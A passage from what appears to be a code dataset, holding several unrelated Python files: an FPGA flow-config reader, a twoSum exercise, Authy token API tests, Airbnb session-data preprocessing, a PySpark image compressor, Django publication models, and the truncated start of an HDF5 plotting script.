'{0}': '{1}'\".format(Sec, [MaxStimuli, MaxTraces, MaxBidir, FoundClockMode]))\n if NbStim <= MaxStimuli and NbBiDir <= MaxBidir and FoundClockMode == ClockMode:\n if self.Config.has_option(Sec, 'AcceptedTargetArchitectures'):\n Targets = self.Config.get(Sec, 'AcceptedTargetArchitectures')\n if Target in [x.strip() for x in Targets.split(',')]:\n logging.debug(\"Found controller compatible configuration: '{0}'.\".format(Sec))\n return Sec\n continue\n else:\n logging.error(\"Bad format of configuration file. Section '{0}' Missing options 'AcceptedTargetArchitectures'.\".format(Sec))\n continue\n else:\n continue\n else:\n logging.error(\"Bad format of configuration file. Section '{0}' Missing one or more options among those [Stimuli, Traces, Bidir, ClockMode]\".format(Sec))\n continue\n\n def GetInterface(self):\n \"\"\" \n return number of port pads and clocks.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return (None, None)\n ConfigPath = HWLIBRARYPATH\n BoardsCo = GetInterfaceDict(BoardName=self.Architecture, ConfigPath=ConfigPath)\n return BoardsCo\n\n def GetConfigIO(self, ConfigName):\n \"\"\" \n Find compatible config (nb stim/trace/inout) and return config name.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n Sections = self.Config.sections()\n if ConfigName in Sections:\n if self.Config.has_option(ConfigName, 'MaxStimuli') and self.Config.has_option(ConfigName, 'MaxTraces') and self.Config.has_option(ConfigName, 'MaxBidir') and self.Config.has_option(ConfigName, 'ClockMode'):\n return (\n int(self.Config.getint(ConfigName, 'MaxStimuli')),\n int(self.Config.getint(ConfigName, 'MaxTraces')),\n int(self.Config.get(ConfigName, 'MaxBidir')),\n self.Config.get(ConfigName, 'ClockMode'))\n else:\n logging.error(\"No configuration '{0}' found in '.ini' Sections.\")\n return\n\n def GetCompatibleTargets(self):\n \"\"\" \n Return list of compatible targets.\n \"\"\"\n TargetList = []\n logging.debug('Seek compatible targets with architecture {0} as controller.'.format(self.Architecture))\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return TargetList\n Sections = self.Config.sections()\n logging.debug(\"Sections: '{0}'\".format(Sections))\n for Sec in Sections:\n if Sec == 'Common':\n continue\n elif self.Config.has_option(Sec, 'AcceptedTargetArchitectures'):\n TargetList.append(self.Config.get(Sec, 'AcceptedTargetArchitectures'))\n continue\n\n return TargetList\n\n\nclass FlowConfig:\n __doc__ = '\\n\\tObject for reading HW library flow configuration parameters.\\n\\tEach config is written in a \"*.ini\" configuration file.\\n\\t'\n\n def __init__(self, FlowName, LibraryPaths=[]):\n \"\"\"\n Parse configuration file.\n \"\"\"\n self.FlowName = FlowName\n self.Config = None\n self.ConfigPath = None\n if not self.ReloadConfig(LibraryPaths=LibraryPaths):\n logging.error(\"No configuration file found for flow '{0}'.\".format(FlowName))\n\n def ReloadConfig(self, LibraryPaths=[]):\n \"\"\" \n Read flow configuration file and return true if success else False.\n \"\"\"\n LibraryPaths.append(os.path.join(HWLIBRARYPATH, 'Scripts'))\n for FilePath in IterFiles(SearchPaths=LibraryPaths, Name='Flow*.ini'):\n Config = configparser.RawConfigParser()\n Config.read(FilePath)\n Sections = Config.sections()\n logging.debug(\"Configuration file found for '{0}' flow.\".format(self.FlowName))\n if self.FlowName in Sections:\n self.Config = Config\n self.ConfigPath = FilePath\n return True\n else:\n logging.error(\"No such flow '{0}' in configuration file '{1}' (available={2}).\".format(self.FlowName, FilePath, Sections))\n return False\n\n logging.error(\"No configuration file found for flow '{0}'.\".format(self.FlowName))\n return False\n\n def GetBitStreamExt(self):\n \"\"\" \n Return value of \"BinaryExtension\" field of a flow configuration.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if self.Config.has_option(self.FlowName, 'BinaryExtension'):\n return self.Config.get(self.FlowName, 'BinaryExtension')\n logging.error(\"'{0}' configuration error. No such option 'BinaryExtension' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetMapReportExt(self):\n \"\"\" \n Return value of \"MapReportExt\" field of a flow configuration.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if self.Config.has_option(self.FlowName, 'MapReportExt'):\n return self.Config.get(self.FlowName, 'MapReportExt')\n logging.error(\"'{0}' configuration error. No such option 'MapReportExt' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetParReportExt(self):\n \"\"\" \n Return value of \"ParReportExt\" field of a flow configuration.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if self.Config.has_option(self.FlowName, 'ParReportExt'):\n return self.Config.get(self.FlowName, 'ParReportExt')\n logging.error(\"'{0}' configuration error. No such option 'ParReportExt' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetCtrlImplementScript(self):\n \"\"\" \n Read flow configuration file and return value of CtrlImplementScript option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'CtrlImplementScript'):\n Script = self.Config.get(self.FlowName, 'CtrlImplementScript')\n return os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(self.ConfigPath), Script)))\n logging.error(\"'{0}' configuration error. No such option 'CtrlImplementScript' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetSynthesisScript(self):\n \"\"\" \n Read flow configuration file and return value of SynthesisScript option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'SynthesisScript'):\n Script = self.Config.get(self.FlowName, 'SynthesisScript')\n return os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(self.ConfigPath), Script)))\n logging.error(\"'{0}' configuration error. No such option 'SynthesisScript' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetSetupEnvScript(self):\n \"\"\" \n Read flow configuration file and return value of 'SetupEnvScript' option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'SetupEnvScript'):\n return self.Config.get(self.FlowName, 'SetupEnvScript')\n logging.error(\"'{0}' configuration error. No such option 'SynthesisScript' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetSourcesFileName(self):\n \"\"\" \n Read flow configuration file and return value of 'SourcesFileName' option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'SourcesFileName'):\n return self.Config.get(self.FlowName, 'SourcesFileName')\n logging.error(\"'{0}' configuration error. No such option 'SourcesFileName' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetRscEstimationScript(self):\n \"\"\" \n Read flow configuration file and return value of RscEstimationScript option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'RscEstimationScript'):\n Script = self.Config.get(self.FlowName, 'RscEstimationScript')\n return os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(self.ConfigPath), Script)))\n logging.error(\"'{0}' configuration error. No such option 'RscEstimationScript' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetUploadScript(self):\n \"\"\" \n Read flow configuration file and return value of UploadScript option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'UploadScript'):\n Script = self.Config.get(self.FlowName, 'UploadScript')\n return os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(self.ConfigPath), Script)))\n logging.error(\"'{0}' configuration error. No such option 'UploadScript' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetSourcesTemplate(self):\n \"\"\" \n Read flow configuration file and return value of SourcesTemplate option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'SourcesTemplate'):\n SourceListTemplate = self.Config.get(self.FlowName, 'SourcesTemplate')\n return SourceListTemplate\n logging.error(\"'{0}' configuration error. No such option 'SourcesTemplate' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetTemplates(self):\n \"\"\" \n Read flow configuration file and return value of ImplementScript option.\n \"\"\"\n TemplateList = []\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return []\n else:\n if self.Config.has_option(self.FlowName, 'Templates'):\n Templates = self.Config.get(self.FlowName, 'Templates')\n for Template in Templates.split(','):\n TemplateList.append(os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(self.ConfigPath), Template.strip()))))\n\n return TemplateList\n logging.error(\"'{0}' configuration error. No such option 'Templates' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return []\n\n def GetUploadSetupFile(self):\n \"\"\" \n Read flow configuration file and return value of UploadScript option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'UploadSetupFile'):\n SetupFile = self.Config.get(self.FlowName, 'UploadSetupFile')\n return os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(self.ConfigPath), SetupFile)))\n logging.error(\"'{0}' configuration error. No such option 'SetupScript' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetConstraintFormat(self):\n \"\"\" \n Read flow configuration file and return value of ConstraintFormat option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'ConstraintFormat'):\n ConstraintFormat = self.Config.get(self.FlowName, 'ConstraintFormat')\n return ConstraintFormat\n logging.error(\"'{0}' configuration error. No such option 'ConstraintFormat' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n def GetCtrlInputExtension(self):\n \"\"\" \n Read flow configuration file and return value of Ctrl Input ext option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for '{0}' flow.\".format(self.FlowName))\n return\n else:\n if self.Config.has_option(self.FlowName, 'CtrlInputExtension'):\n CtrlInputExtension = self.Config.get(self.FlowName, 'CtrlInputExtension')\n return CtrlInputExtension\n logging.error(\"'{0}' configuration error. No such option 'CtrlInputExtension' in configuration file ('{1}').\".format(self.FlowName, self.ConfigPath))\n return\n\n\ndef GetInterfaceDict(BoardName, ConfigPath):\n \"\"\"\n Fetch hardware interface parameters.\n \"\"\"\n CfgFileList = []\n for Root, Dirs, Files in os.walk(ConfigPath, topdown=True):\n for FileName in Files:\n if FileName.endswith('.co'):\n CfgFileList.append(os.path.join(Root, FileName))\n\n HwInterfaceDict = {}\n for CfgFile in CfgFileList:\n Config = configparser.RawConfigParser()\n Config.read(CfgFile)\n for Section in Config.sections():\n if Section == BoardName:\n logging.debug(\"-> Found config for board '{0}'\".format(Section))\n Infos = Config.items(Section)\n for Param, Value in Infos:\n Param = Param.upper()\n Options = [x.upper().strip() for x in Value.split(',')]\n if len(Options) < 6:\n Options.extend([None for i in range(6 - len(Options))])\n Pad, Type, IOStandard, Voltage, Freq, DiffPair = Options[:6]\n if Type is None:\n logging.error(\"Net '{0}', pad '{1}' has no type associated with it. Ignored.\".format(Param, Pad))\n else:\n if Type not in HwInterfaceDict:\n HwInterfaceDict[Type] = collections.OrderedDict()\n HwInterfaceDict[Type][Param.upper()] = [\n Pad, IOStandard, Voltage, Freq, DiffPair]\n\n return HwInterfaceDict\n\n logging.error(\"Board '{0}' interface configuration file (.co) not found.\".format(BoardName))\n return HwInterfaceDict","sub_path":"pycfiles/HdlLib-0.1.1.linux-x86_64.tar/HwLib.cpython-35.py","file_name":"HwLib.cpython-35.py","file_ext":"py","file_size_in_byte":34279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"22148341","text":"# Given an array of integers, find two numbers such that they add up\n# to a specific target number.\n\n# @param A : tuple of integers\n# @param k : integer\n# @return a list of integers\ndef twoSum(A, k):\n seen = {}\n for idx, num in enumerate(A):\n if k - num in seen:\n return [seen[k-num], idx+1]\n if num not in seen:\n seen[num] = idx + 1\n return []\n\nassert twoSum([2,7,11,15], 9) == [1,2]\nassert twoSum([7,11,15,2], 9) == [1,4]\n\n","sub_path":"interviewbit/hashing/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"18195305","text":"import sys\nimport test_helper\n\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\nfrom authy import AuthyException, AuthyFormatException\nfrom authy.api.resources import Token\nfrom authy.api.resources import Tokens\nfrom authy.api.resources import User\nfrom authy.api.resources import Users\n\n\nclass TokensTest(unittest.TestCase):\n\n def setUp(self):\n self.users = Users(test_helper.API_URL, test_helper.API_KEY)\n self.resource = Tokens(test_helper.API_URL, test_helper.API_KEY)\n\n def test_verify_digits_token(self):\n user_id = test_helper.API_USER_ID\n with self.assertRaises(AuthyFormatException) as context:\n token = self.resource.verify(user_id, 'token')\n\n self.assertTrue('Invalid Token. Only digits accepted.' in str(context.exception))\n\n def test_verify_digits_authy_id(self):\n user_id = test_helper.API_USER_ID\n with self.assertRaises(AuthyFormatException) as context:\n token = self.resource.verify('user_id', '123456')\n\n self.assertTrue('Invalid Authy id. Only digits accepted.' in str(context.exception))\n\n def test_verify_longer_token(self):\n user_id = test_helper.API_USER_ID\n with self.assertRaises(AuthyFormatException) as context:\n token = self.resource.verify(user_id, '0000000111111')\n\n self.assertTrue('Invalid Token. Unexpected length.' in str(context.exception))\n\n def test_verify_invalid_token(self):\n user_id = test_helper.API_USER_ID\n token = self.resource.verify(user_id, '1111111')\n self.assertIsInstance(token, Token)\n self.assertFalse(token.ok())\n self.assertEqual(token.errors()['message'], 'Token is invalid')\n self.assertEqual(token.response.status_code, 401)\n\n def test_verify_valid_token(self):\n user_id = test_helper.API_USER_ID\n token = self.resource.verify(user_id, '0000000')\n self.assertIsInstance(token, Token)\n self.assertEqual(token.errors(), {})\n self.assertTrue(token.ok())\n\n def test_force_verify_token(self):\n user_id = test_helper.API_USER_ID\n token = self.resource.verify(user_id, '0000000', {\"force\": True})\n self.assertIsInstance(token, Token)\n self.assertEqual(token.errors(), {})\n self.assertTrue(token.ok())\n\nif __name__ == \"__main__\":\n\t unittest.main()\n","sub_path":"tests/test_tokens.py","file_name":"test_tokens.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"417742998","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 27 17:57:35 2019\n\n@author: jaketoruk\n\"\"\"\nimport pandas as pd\nimport numpy as np\n\ndf_seccion = pd.read_csv('/home/jaketoruk/Documents/Kaggle_Competition/airbnb/DataBase/airbnb-recruiting-new-user-bookings/sessions.csv')\n\n\n###______________________\n# estudio del dataframe seccion\n\npd.options.display.max_columns = 50\npd.options.display.max_rows = 20\n\ndf_seccion.isnull().sum()\n\ndf_seccion.shape\n\ndf_seccion.head()\ndf_seccion.action_type.value_counts()\n\ndf_seccion.action_detail.value_counts()\n\ndf_seccion.secs_elapsed.value_counts()\n\ndf_seccion.action.value_counts()\n\n## creo deberia borrar las filas con los id nan porque no tengo manera de relacionarlos con las demas cosas\n\n##---------------\n# sustituyendo los nan por 'otros' action_detail column\n\ndf_seccion['action_detail'].value_counts()\n\ndf_seccion['action_detail'] = np.where(df_seccion['action_detail'].isnull(), 'otro', df_seccion['action_detail'])\n\n# ver que tambien tengo -unknown- que los trae la tabla, no se si unirlos o que..\n\n##--------------\n# hacer columna de frecuencia de action_detail\ndf_seccion.columns\ndf_seccion['freq_act_detail'] = df_seccion.groupby('action_detail')['action_detail'].transform('count')\n\n##---------------\n# uni las acciones qeu menos se repetian y las puse en otro, para hacer dummies mas tarde y a los nan le puse desconocidos no se si unirlos a los unknown qeu ya teniamos\ndf_seccion['action_type'].value_counts()\n\ndf_seccion['action_type'] = df_seccion.action_type.replace(['booking_response', 'modify', 'booking_request', 'partner_callback', 'message_post', 'submit'], 'otros')\n\ndf_seccion['action_type'] = df_seccion['action_type'].fillna('desconocidos')\n\n##----------------\n# aqui hice el groupby por usuario y saque la media de los lapsec para sustituirlos por los nan pero no se como aun\n\n# df_seccion['secs_elapsec_mean'] = df_seccion['secs_elapsed'].fillna(df_seccion.groupby('user_id')['secs_elapsed'].mean())\n\ndf_seccion.groupby('user_id')['secs_elapsed'].mean().value_counts()\n\n#df_seccion['secs_elapsed'] = df_seccion['secs_elapsed'].fillna('u')\n\ndf_seccion['secs_elapsed'].value_counts()\n\n# creo que lo que pasa es qeu los id que tienen nan solo tienen nan por lo que no tienen media y no tengo manera de ver eso\n\ndf_prueba = df_seccion.loc[df_seccion.secs_elapsed.isnull(),:]\n\ndf_prueba.columns\n\ndf_prueba = df_prueba.drop(['action', 'action_type', 'action_detail', 'device_type', 'freq_act_detail'], axis = 1)\n\ndf_prueba.user_id.value_counts()\n# aqui podemos ver q al final los nan son solo en usuarios que q han entrado una sola vez, creo tendre que hacer la media de toda la columna....\n\n# probamos con los mean de toda la columna a ver qeu vuelta\n\ndf_seccion['secs_elapsed'] = df_seccion['secs_elapsed'].fillna(df_seccion['secs_elapsed'].mean())\n\n##----------------------\n# veamos la columna action a ver qeu tal, trataremos de sustituirla por la frecuencia y separar en grupos para despues hacer dummies o algo asi, en dependencia de la cantidad de grupos qeu salgan\n\ndf_seccion['action'].value_counts()\n\n# solo lo dejare en la frecuencia porque agrupar no me parece prudente ya qeu hay un monton de acciones.... pero los nan los pondre como others_action\n\ndf_seccion['action'] = df_seccion['action'].fillna('other_action')\n\ndf_seccion['freq_act'] = df_seccion.groupby('action')['action'].transform('count')\n\n##----------------------\n# vemos la columna device_type\n\ndf_seccion['device_type'].value_counts()\n\ndf_seccion['device_type'] = df_seccion['device_type'].replace(['iPodtouch', 'Windows Phone', 'Blackberry', 'Opera Phone'], 'others')\n##----------------------\n# borremos los user_id nulos qeu son pocos y no se puede hacer nada con eso...\n\ndf_seccion.isnull().sum()\n\ndf_seccion = df_seccion.dropna()\n\n##----------------------\n# borremos las columnas qeu sobran y dejemos las nuevas qeu hemos creado para hacer los dummies pertinentes\n\ndf_seccion = df_seccion.drop(['action_detail', 'action'], axis = 1)\n\n# =============================================================================\n# hasta aqui todo casi listo, hare dummies en las columnas de actiorn tipe y en la de device y ya hago mi csv para cerrar\n# =============================================================================\ndf_seccion = pd.get_dummies(df_seccion)","sub_path":"src/seccion.py","file_name":"seccion.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"514690749","text":"import pyspark\nfrom pyspark import SparkContext\nimport cv2\nimport numpy as np\nimport scipy as sp\nimport struct\nfrom helper_functions import *\nfrom constants import *\n\n\ndef flatmap_YCrCb(arg):\n # arg[0] = image_id arg[1] = img_matrix\n Y, crf, cbf = convert_to_YCrCb(arg[1])\n new_arg = []\n og_height = Y.shape[0]\n og_width = Y.shape[1]\n\n new_arg.append(((arg[0], \"y\", og_height, og_width), Y))\n new_arg.append(((arg[0], \"cr\", og_height, og_width), crf))\n new_arg.append(((arg[0], \"cb\", og_height, og_width), cbf))\n return new_arg\n\ndef map_YCrCb(arg):\n #arg = ((id, string_channel, og_height, og_width), channel_matrix)\n new_image= truncate((None, arg[1]))[1]\n return(arg[0], new_image)\n\n\ndef flatmap_subblocks(arg):\n\n #arg[0] = (id, string_channel, og_height, og_width) arg[1] = (2d_matrix for channel)\n\n height = arg[1].shape[0]\n width = arg[1].shape[1]\n key = arg[0]\n eight_by_eight = []\n no_vert_blocks = width / b_size # divide by 8\n no_horz_blocks = height / b_size # divide by 8\n for j in range(no_vert_blocks):\n for i in range(no_horz_blocks):\n coord = (i, j)\n i_start = i * b_size\n i_end = (i + 1) * b_size\n j_start = j * b_size\n j_end = (j + 1) * b_size\n cur_block = arg[1][i_start : i_end, j_start : j_end].astype(np.float32)\n key_val = (key, (cur_block, coord, height, width))\n eight_by_eight.append(key_val)\n return eight_by_eight\n\n\ndef subblock_map(arg):\n\n # arg[0] = (id, string_channel, og_height, og_width) arg[1] = (eight_by_eight, coord, height, width)\n return(arg[0], arg[1])\n\ndef transformation_map(arg):\n subblock = arg[1][0]\n subblock = dct_block(subblock.astype(np.float32) - 128)\n subblock = quantize_block(subblock, arg[0][1] == \"y\", QF)\n subblock = quantize_block(subblock, arg[0][1] == \"y\", QF, inverse = True)\n subblock = dct_block(subblock, inverse = True)\n subblock = subblock + 128\n subblock[subblock>255] = 255\n subblock[subblock<0] = 0\n return (arg[0], [arg[1]])\n\n\ndef first_reduce(arg1, arg2):\n return arg1+arg2\n\ndef combine_map(arg):\n\n # arg[0] = (id, string_channel, og_height, og_width) arg[1] = ((eight_by_eight, coord, height, width), (eight_by_eight, coord, height, width)....)\n dst = np.zeros((arg[1][0][2], arg[1][0][3]), np.float32)\n for matrix in arg[1]:\n i_start = matrix[1][0] * b_size\n i_end = (matrix[1][0] + 1) * b_size\n j_start = matrix[1][1] * b_size\n j_end = (matrix[1][1] + 1) * b_size\n dst[i_start : i_end, j_start : j_end] = matrix[0]\n dst = resize_image(dst, arg[0][3], arg[0][2])\n return ((arg[0][0], arg[0][2], arg[0][3]), [(dst, arg[0][1])])\n\ndef final_reduce(arg1, arg2):\n return arg1 + arg2\n\ndef final_combine(arg):\n\n reimg = np.zeros((arg[0][1], arg[0][2], 3), np.uint8)\n depth = 0\n for pair in arg[1]:\n if pair[1] == \"y\":\n depth = 0\n reimg[:,:,depth] = pair[0].astype(np.uint8)\n elif pair[1] == \"cr\":\n depth = 1\n reimg[:,:,depth] = pair[0].astype(np.uint8)\n else:\n depth = 2\n reimg[:,:,depth] = pair[0].astype(np.uint8)\n reimg = to_rgb(reimg)\n return (arg[0][0], reimg)\n\n\n\n### WRITE ALL HELPER FUNCTIONS ABOVE THIS LINE ###\n\ndef generate_Y_cb_cr_matrices(rdd):\n \"\"\"\n THIS FUNCTION MUST RETURN AN RDD\n \"\"\"\n ### BEGIN SOLUTION ###\n rdd = rdd.flatMap(flatmap_YCrCb).map(map_YCrCb)\n return rdd\n\ndef generate_sub_blocks(rdd):\n \"\"\"\n THIS FUNCTION MUST RETURN AN RDD\n \"\"\"\n ### BEGIN SOLUTION ###\n rdd = rdd.flatMap(flatmap_subblocks).map(subblock_map)\n return rdd\n\ndef apply_transformations(rdd):\n \"\"\"\n THIS FUNCTION MUST RETURN AN RDD\n \"\"\"\n ### BEGIN SOLUTION ###\n rdd = rdd.map(transformation_map)\n return rdd\n\ndef combine_sub_blocks(rdd):\n \"\"\"\n Given an rdd of subblocks from many different images, combine them together to reform the images.\n Should your rdd should contain values that are np arrays of size (height, width).\n\n THIS FUNCTION MUST RETURN AN RDD\n \"\"\"\n ### BEGIN SOLUTION ###\n rdd = rdd.reduceByKey(first_reduce).map(combine_map)\n return rdd\n\ndef finished_product(rdd):\n rdd = rdd.reduceByKey(final_reduce).map(final_combine)\n return rdd\n\ndef run(images):\n \"\"\"\n THIS FUNCTION MUST RETURN AN RDD\n\n Returns an RDD where all the images will be proccessed once the RDD is aggregated.\n The format returned in the RDD should be (image_id, image_matrix) where image_matrix\n is an np array of size (height, width, 3).\n \"\"\"\n sc = SparkContext()\n rdd = sc.parallelize(images, 16) \\\n .map(truncate).repartition(16)\n rdd = generate_Y_cb_cr_matrices(rdd)\n rdd = generate_sub_blocks(rdd)\n rdd = apply_transformations(rdd)\n rdd = combine_sub_blocks(rdd)\n\n\n ### BEGIN SOLUTION HERE ###\n # Add any other necessary functions you would like to perform on the rdd here\n # Feel free to write as many helper functions as necessary\n\n rdd = finished_product(rdd)\n return rdd\n\n\n\"\"\"\nfrom spark_image_compressor import *\nimage = cv2.imread(\"test/test1.jpg\", cv2.IMREAD_UNCHANGED)\nimage_collection = [(x, image) for x in range(10)]\nrdd = sc.parallelize(image_collection, 16).map(truncate).repartition(16)\nrdd = generate_Y_cb_cr_matrices(rdd)\nrdd = generate_sub_blocks(rdd)\nrdd = apply_transformations(rdd)\nrdd = combine_sub_blocks(rdd)\n\"\"\"\n","sub_path":"image_compression/spark_image_compressor.py","file_name":"spark_image_compressor.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"293884743","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom pygments.lexers import get_all_lexers\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom .util import truncate_text\nfrom django.db.models import (Model, CharField, TextField, BooleanField,\n DateTimeField, PositiveSmallIntegerField,\n URLField, ManyToManyField, ForeignKey)\n\n\nclass DataSource(Model):\n notes = CharField('notas', unique=True, max_length=255)\n\n def short_notes(self):\n return truncate_text(self.notes, 100)\n\n short_notes.short_description = 'notas'\n\n def __unicode__(self):\n return self.notes\n\n class Meta:\n verbose_name = 'fuente de datos'\n verbose_name_plural = 'fuentes de datos'\n\n\nclass Database(Model):\n name = CharField('nombre', unique=True, max_length=100)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'base de datos'\n verbose_name_plural = 'bases de datos'\n\n\nclass Tag(Model):\n name = CharField('tag', max_length=100, unique=True)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'tag'\n verbose_name_plural = 'tags'\n\n\nclass Publication(Model):\n PROGRAMMING_LANGUAGE_CHOICES = sorted(\n [(item[1][0], item[0]) for item in get_all_lexers() if item[1]])\n MINUTES = 'mins'\n HOURS = 'hours'\n DAYS = 'days'\n MONTHS = 'months'\n YEARS = 'years'\n UPDATE_TYPE_CHOICES = (\n (MINUTES, 'Minuto/s'),\n (HOURS, 'Hora/s'),\n (DAYS, 'Dia/s'),\n (MONTHS, 'Mes/es'),\n (YEARS, 'Año/s'),\n )\n name = CharField('nombre', max_length=100, db_index=True)\n description = TextField('descripción', blank=True, null=True)\n programming_language = CharField('lenguaje de programación',\n choices=PROGRAMMING_LANGUAGE_CHOICES,\n max_length=30, blank=True, null=True)\n data_sources = ManyToManyField(DataSource, verbose_name='fuentes de datos',\n blank=True)\n update_value = PositiveSmallIntegerField(\n 'intervalo de actualización',\n blank=True, null=True,\n help_text='Cada cuanto se generan/actualizan los datos')\n update_type = CharField('unidad de intervalo de actualización',\n max_length=10, choices=UPDATE_TYPE_CHOICES,\n blank=True, null=True)\n creator = ForeignKey(settings.AUTH_USER_MODEL, verbose_name='creador',\n related_name='%(class)s_creator')\n responsibles = ManyToManyField(settings.AUTH_USER_MODEL,\n verbose_name='responsables',\n related_name='%(class)s_responsible')\n databases = ManyToManyField(Database, verbose_name='bases de datos',\n blank=True)\n server_path = URLField('ruta al servidor', blank=True, null=True)\n file_path = CharField('ruta a los datos', max_length=200)\n publishable = BooleanField('publicable', default=False)\n created = DateTimeField('fecha de creación')\n modified = DateTimeField('última modificación')\n tags = ManyToManyField(Tag, verbose_name='tags')\n\n def short_description(self):\n return truncate_text(self.description, 50)\n\n short_description.short_description = 'descripción'\n\n def clean(self):\n # Business rules\n if self.created and self.modified and self.created > self.modified:\n raise ValidationError(\n {\n 'created': 'La fecha de creación debe ser menor o igual a'\n ' la fecha de última modificación.'\n })\n if bool(self.update_value) != bool(self.update_type): # XOR\n raise ValidationError(\n {\n 'update_type': 'Se deben asignar ambos valores de intervalo'\n ' de actualización de datos o ninguno de'\n ' ellos.'\n })\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'publicación'\n verbose_name_plural = 'publicaciones'\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"249500317","text":"# usage: file updates...\n\nimport sys\nimport os\nimport warnings\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\n\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\nfrom keyname import keyname as kn\nfrom fileshash import fileshash as fsh\nimport h5py\nimport colorsys\nfrom tqdm import tqdm\nfrom joblib import delayed, Parallel\nimport json\nfrom sklearn.decomposition import PCA\nfrom collections import defaultdict\n\nmatplotlib.rcParams['pdf.fonttype'] = 42\n\nfilename = sys.argv[1]\nupdates = (int(v) for v in sys.argv[2:])\n\ndef RenderAndSave(upd, filename):\n\n file = h5py.File(filename, 'r')\n nlev = int(file.attrs.get('NLEV'))\n\n channel = np.array(\n file['Channel']['lev_'+str(nlev-1)]['upd_'+str(upd)]\n ).flatten()\n regulators = [\n np.array(\n file['Regulators']['dir_'+str(dir)]['upd_'+str(upd)]\n ).flatten()\n for dir in range(4)\n ]\n live = np.array(file['Live']['upd_'+str(upd)])\n index = np.array(file['Index']['own'])\n\n data_0 = np.array(file['Channel']['lev_0']['upd_'+str(upd)])\n data_1 = (\n 